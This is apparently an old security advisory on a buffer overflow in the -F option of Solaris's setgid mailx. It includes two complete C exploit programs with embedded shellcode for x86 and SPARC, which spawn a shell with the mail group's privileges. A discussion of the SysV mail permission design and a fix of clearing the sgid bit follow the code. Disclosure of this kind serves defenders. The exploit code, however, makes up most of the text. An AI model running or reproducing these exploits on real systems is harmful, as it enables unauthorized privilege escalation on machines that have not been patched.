COMMAND
mailx
SYSTEMS AFFECTED
Solaris 2.5, 2.5.1, 2.6, 7, 8
PROBLEM
Pablo Sor found following. The mailx program is installed setgid
mail by default in Solaris, a buffer overrun exists in the -F
option, by specifying a long buffer containing machine executable
code, it is possible to execute arbitrary command as gid mail.
Exploit Code:
#include <fcntl.h>
/*
/usr/bin/mailx overflow proof of conecpt.
Pablo Sor, Buenos Aires, Argentina 04/2001
psor@afip.gov.ar, psor@ccc.uba.ar
works against x86 solaris 8
default offset should work.
usage:
bash$ id
uid=100(laika) gid=1(other)
bash$ ./mailx-exp
Subject: tomy
.
EOT
[wait...]
$ id
uid=100(laika) gid=1(other) egid=6(mail)
*/
long get_esp() { __asm__("movl %esp,%eax"); }
int main(int ac, char **av)
{
char shell[]=
"\xeb\x1c\x5e\x33\xc0\x33\xdb\xb3\x08\xfe\xc3\x2b\xf3\x88\x06"
"\x6a\x06\x50\xb0\x88\x9a\xff\xff\xff\xff\x07\xee\xeb\x06\x90"
"\xe8\xdf\xff\xff\xff\x55\x8b\xec\x83\xec\x08\xeb\x5d\x33\xc0"
"\xb0\x3a\xfe\xc0\xeb\x16\xc3\x33\xc0\x40\xeb\x10\xc3\x5e\x33"
"\xdb\x89\x5e\x01\xc6\x46\x05\x07\x88\x7e\x06\xeb\x05\xe8\xec"
"\xff\xff\xff\x9a\xff\xff\xff\xff\x0f\x0f\xc3\x5e\x33\xc0\x89"
"\x76\x08\x88\x46\x07\x33\xd2\xb2\x06\x02\xd2\x89\x04\x16\x50"
"\x8d\x46\x08\x50\x8b\x46\x08\x50\xe8\xb5\xff\xff\xff\x33\xd2"
"\xb2\x06\x02\xd2\x03\xe2\x6a\x01\xe8\xaf\xff\xff\xff\x83\xc4"
"\x04\xe8\xc9\xff\xff\xff\x2f\x74\x6d\x70\x2f\x78\x78";
unsigned long magic = get_esp() + 2075; /* default offset */
unsigned char buf[1150];
char *envi;
envi = (char *)malloc(300*sizeof(char));
memset(envi,0x90,300);
memcpy(envi+280-strlen(shell),shell,strlen(shell));
memcpy(envi,"SOR=",4);
envi[299]=0;
putenv(envi);
symlink("/bin/ksh","/tmp/xx");
memset(buf,0x41,1150);
memcpy(buf+1116,&magic,4);
buf[1149]=0;
execl("/usr/bin/mailx","mailx","-F",buf,NULL);
}
Sparc code:
#include <fcntl.h>
/*
/usr/bin/mailx overflow proof of conecpt.
Pablo Sor, Buenos Aires, Argentina 05/2001
psor@afip.gov.ar, psor@ccc.uba.ar
works against Solaris 8 (SPARC)
default offset should work.
$ id
uid=100(laika) gid=1(other)
$ ./mailx-exp
Subject: tomy
.
EOT
[wait..]
$ id
uid=100(laika) gid=1(other) egid=6(mail)
*/
int main(int ac, char **av)
{
char shell[]=
"\x90\x10\x20\x06\x82\x10\x20\x88\x91\xd0\x20\x08" /* setegid(6) */
"\x90\x10\x20\x06\x82\x10\x20\x2e\x91\xd0\x20\x08" /* setgid(6) */
/* LSD-pl.net guys shellcode */
"\x90\x08\x3f\xff" /* and %g0,-1,%o0 */
"\x82\x10\x20\x17" /* mov 0x17,%g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"\x20\xbf\xff\xff" /* bn,a <shellcode-4> */
"\x20\xbf\xff\xff" /* bn,a <shellcode> */
"\x7f\xff\xff\xff" /* call <shellcode+4> */
"\x90\x03\xe0\x20" /* add %o7,32,%o0 */
"\x92\x02\x20\x10" /* add %o0,16,%o1 */
"\xc0\x22\x20\x08" /* st %g0,[%o0+8] */
"\xd0\x22\x20\x10" /* st %o0,[%o0+16] */
"\xc0\x22\x20\x14" /* st %g0,[%o0+20] */
"\x82\x10\x20\x0b" /* mov 0xb,%g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"/bin/ksh";
u_long get_sp(void)
{
__asm__("mov %sp,%i0 \n");
}
unsigned long magic = get_sp() + 1444 ; /* default offset */
unsigned char buf[1220];
char *envi;
int cont;
envi = (char *)malloc(1000*sizeof(char));
for (cont=3;cont<990;cont=cont+4)
{ envi[cont]= 0xa6;envi[cont+1]=0x1c;envi[cont+2]=0xc0;envi[cont+3]=0x13; }
for (cont=803;cont<803+strlen(shell);++cont) envi[cont]=shell[cont-803];
memcpy(envi,"SO=",3);
envi[999]=0;
putenv(envi);
memset(buf,0x41,1220);
memcpy(buf+1120+24,&magic,4); /* fake %fp */
memcpy(buf+1120+28,&magic,4); /* fake %i7 */
buf[1220]=0;
execl("/usr/bin/mailx","mailx","-F",buf,NULL);
}
set-gid has nothing to do with writing the inbox. It was in old
days (without todays 1000 permission) the only method to allow
mail clients the creation of .lock files and the inbox file itself
in /var/spool/mail. It was never necessary to let the inbox
writeable for group "mail" (of course, probably not true in very
old System 7 environments). Therefore, a 600 permission does NOT
implicate an unnecessary group mail setup. The delivery into a
mailbox is accomplished with user (inbox owner) permission
(derived from the set- uid root MTA).
V7 used setuid-root /bin/mail for delivery (it was insecure). A
correct implementation of SysV mail with setgid-mail does indeed
require that mailboxes be writable by the group mail. The system
mailbox spool directory must not be world writable. SysV mail is
designed to eliminate *ALL* need for setuid-root!
By now you might have realised that SysV mail requires chown() to
be usable by non-root. If so then you're right. It's not
compatible with naive filesystem-based quotas. Pick one: a) root
compromises, or b) quotas. Actually, you don't have to -- you
can implement mailbox quotas in the mail delivery agent and you
can put your mailbox directory on a separate filesystem such that
you don't have to use FS quotas there.
SOLUTION
Clear the sgid bit of /usr/bin/mailx program. Sun Microsystems
was notified on April 18, 2001. Patches are excepted shortly.